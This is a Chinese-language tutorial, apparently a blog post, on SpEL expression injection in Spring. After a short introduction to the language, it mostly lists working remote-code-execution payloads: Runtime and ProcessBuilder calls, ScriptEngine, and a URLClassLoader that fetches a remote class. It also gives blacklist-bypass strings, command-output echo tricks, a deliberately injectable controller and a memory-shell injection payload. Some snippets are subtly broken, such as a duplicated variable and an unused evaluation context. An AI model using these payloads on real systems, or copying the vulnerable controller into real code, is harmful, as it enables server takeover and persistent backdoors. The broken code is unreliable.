SPEL表达式注入分析

环境依赖

 <dependencies>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-expression</artifactId>
        <version>5.1.9.RELEASE</version>
    </dependency>
</dependencies>

SPEL表达式基础

SPEL简介

在Spring 3中引入了Spring表达式语言（Spring Expression Language，简称SpEL），这是一种功能强大的表达式语言，支持在运行时查询和操作对象图，可以与基于XML和基于注解的Spring配置还有bean定义一起使用。

在Spring系列产品中，SpEL是表达式计算的基础，实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系，而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值，因此可以为我们节省大量Java代码。

SpEL有许多特性：

• 使用Bean的ID来引用Bean
• 可调用方法和访问对象的属性
• 可对值进行算数、关系和逻辑运算
• 可使用正则表达式进行匹配
• 可进行集合操作

定界符${}与#{}

这两个作用不太一样，${}是一个占位符，可以进行一些注入，但中间的内容不会被解析，#{}是SPEL特有的定界符，中间的内容会被解析

类型表达式T()

举个例子

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "T(java.lang.String)";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

// 输出
class java.lang.String

T中的内容会被解析成类，如上所示，这样我们也能解析java.lang.Runtime

SPEL常见的表达式

一些比较常见的表达式

运算符类型	运算符
算数运算	+, -, *, /, %, ^
关系运算	<, >, ==, <=, >=, lt, gt, eq, le, ge
逻辑运算	and, or, not, !
条件运算	?:(ternary), ?:(Elvis)
正则表达式	matches

运算符	符号	文本类型
等于	==	eq
小于	<	lt
小于等于	<=	le
大于	>	gt
大于等于	>=	ge

变量定义和引用

在SPEL表达式中，变量定义通过EvaluationContext类的setVariable(variableName, value)函数来实现；在表达式中使用#variableName来引用；除了引用自定义变量，SPEL还允许引用根对象及当前上下文对象：

• this：使用当前正在计算的上下文；

• root：引用容器的root对象；

• @something：引用Bean

RCE直接利用

常见有三种办法

ProcessBuilder

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "new java.lang.ProcessBuilder(new String[]{'calc'}).start()";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

Runtime

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "T(java.lang.Runtime).getRuntime().exec('calc')";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

ScriptEngine

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
        // 或者
        String cmdstr = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

注意这里调用的js的引擎，支持js语法，所以利用方式非常的灵活，绕过黑名单啥的也是一把好手

类加载RCE

URLClassLoader

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evilref\").getConstructors()[0].newInstance()";
        String cmdstr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evilref\").newInstance()";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

恶意类evilref用来弹计算器，自己写一个就行

AppClassLoader

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

绕过

假如ban掉了一些关键字，我们该如何获取classloader

T(org.springframework.expression.Expression).getClass().getClassLoader()

#thymeleaf 情况下
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()

#web服务下通过内置对象
{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")}

username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

#BCEL
T(com.sun.org.apache.bcel.internal.util.JavaWrapper)._main({"BCEL"})

回显问题

先搭建一个spring服务，写个controller

package com.example.demo.controller;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class spelcontroller {
    @RequestMapping("/spel")
    @ResponseBody
    public String spelvul(String payload){
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(payload);
        return (String) exp.getValue();
    }

}

nmmd，我为什么回显不了，sb springboot，直接给payload吧

BufferedReader

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

Scanner

new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()

这里的Delimiter是分隔符的意思，我们执行了dir指令，假如想让回显全部显示在一行。那么我们给一点乱七八糟的东西即可

ResponseHeader

由于springboot没有response，所以自己注册一个

package com.example.demo.controller;

import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.SpelParserConfiguration;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class spelcontroller {
    @RequestMapping("/spel")
    @ResponseBody
    public String spelvul(String payload, HttpServletResponse response){
        StandardEvaluationContext context=new StandardEvaluationContext();
        context.setVariable("response",response);
        ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration());
        Expression exp = parser.parseExpression(payload);
        return (String) exp.getValue();
    }
}

#response.addHeader('x-cmd',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine())

然后就会返回一个x-cmd请求头带着我们的命令回显

注入内存马

不需要response，直接注内存马来搞回显

T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString('????????'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()